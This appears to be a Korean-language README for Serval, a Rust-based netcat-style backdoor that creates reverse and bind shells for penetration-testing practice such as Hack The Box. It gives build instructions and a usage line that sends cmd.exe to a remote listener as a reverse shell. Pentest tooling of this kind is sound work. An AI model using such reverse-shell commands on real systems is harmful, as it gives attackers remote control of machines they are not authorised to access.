
침투 테스트 및 침투 테스트 연습을 위한 Netcat 스타일의 백도어
Serval은 펜테스트 또는 펜테스팅 연습을 위해 리버스 셸과 바인드 셸을 생성하는 가볍고 사용하기 쉬운 바이너리입니다. Serval은 크로스 플랫폼이며 Windows 32비트 및 64비트, Linux 32비트 및 64비트 모두에 대해 컴파일할 수 있습니다. 참고: Rust의 유연성 덕분에 ARM과 같은 다른 플랫폼으로의 컴파일도 가능할 수 있지만, 다른 플랫폼에 대해서는 테스트하지 않았습니다.
HacktheBox 챌린지에서 Windows용 넷캣 바이너리(특히 -e 옵션)를 찾는 것이 번거롭고 신뢰할 수 있는 소스에서 바이너리를 찾는 것이 훨씬 더 어렵기 때문에, Serval을 개발하여 넷캣에 대한 의존성을 없앴습니다.
github에서 소스 다운로드
git clone https://github.com/tgadola/serval.git && cd serval-master
*선택 사항: .cargo/config의 빌드 파일을 편집하여 빌드 경로를 다시 작성합니다.
현재 플랫폼에 대한 바이너리를 빌드합니다.
cargo build --release
*참고: v1.1.0은 Rust nightly가 필요합니다.
다른 플랫폼용으로 빌드하려면 다음을 사용하세요.
cargo build --release --target <target-triple>
특별히 신뢰하는 분은 사전 빌드된 바이너리를 여기에서 다운로드할 수 있습니다.
기본적으로 Serval은 포트를 리슨하거나 연결하고 표준 입력과 출력을 해당 연결로 파이프합니다. -e 플래그는 프로세스를 생성하고 표준 입력과 출력을 네트워크를 통해 파이프합니다.
Serval은 모든 인터페이스에서 수신합니다.
-H 플래그를 사용하여 라인 편집 및 명령 히스토리 기능을 활성화하세요!
serval -l 4400 -H
serval.exe <listening ip> <listening port> -q -e cmd.exe
@kkawakam-transferwise와 그의 Rustyline 크레이트에 큰 감사를 드립니다. 이 크레이트가 사실상 모든 무거운 작업을 수행합니다. Rustyline을 확인해보세요!
Clap의 창작자와 기여자분들께 감사드립니다! Clap을 확인해보세요.
Anyhow의 창작자와 기여자분들께 감사드립니다! Anyhow를 확인해보세요. 훌륭한 크레이트 이름에 +1 드립니다.
모든 Rust 조언에 대해 @jaynus에게 감사드립니다.
Apache 2.0. 자세한 내용은 License 파일을 참조하세요.